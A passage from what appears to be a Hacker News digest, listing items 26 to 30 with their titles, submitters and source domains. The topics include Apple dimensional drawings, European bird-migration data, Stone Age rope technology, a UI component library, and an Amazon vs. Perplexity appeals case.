  26. Apple's Dimensional Drawings by herbertl — developer.apple.com·HN discussion ↗
  27. EuroBirdPortal – Live bird movements across Europe by NKosmatos — eurobirdportal.org·HN discussion ↗
  28. Rope, twine and thread: Invisible technologies of the Stone Age by knowablemag — knowablemagazine.org·HN discussion ↗
  29. Show HN: Neobrutalism.dev – Just added Base UI support and added new color theme by samke- — neobrutalism.dev·HN discussion ↗
  30. Amazon vs. Perplexity – U.S. Court of Appeals for the Ninth Circuit by neom — law.justia.com·HN discussion ↗

Browse all issues in the archive →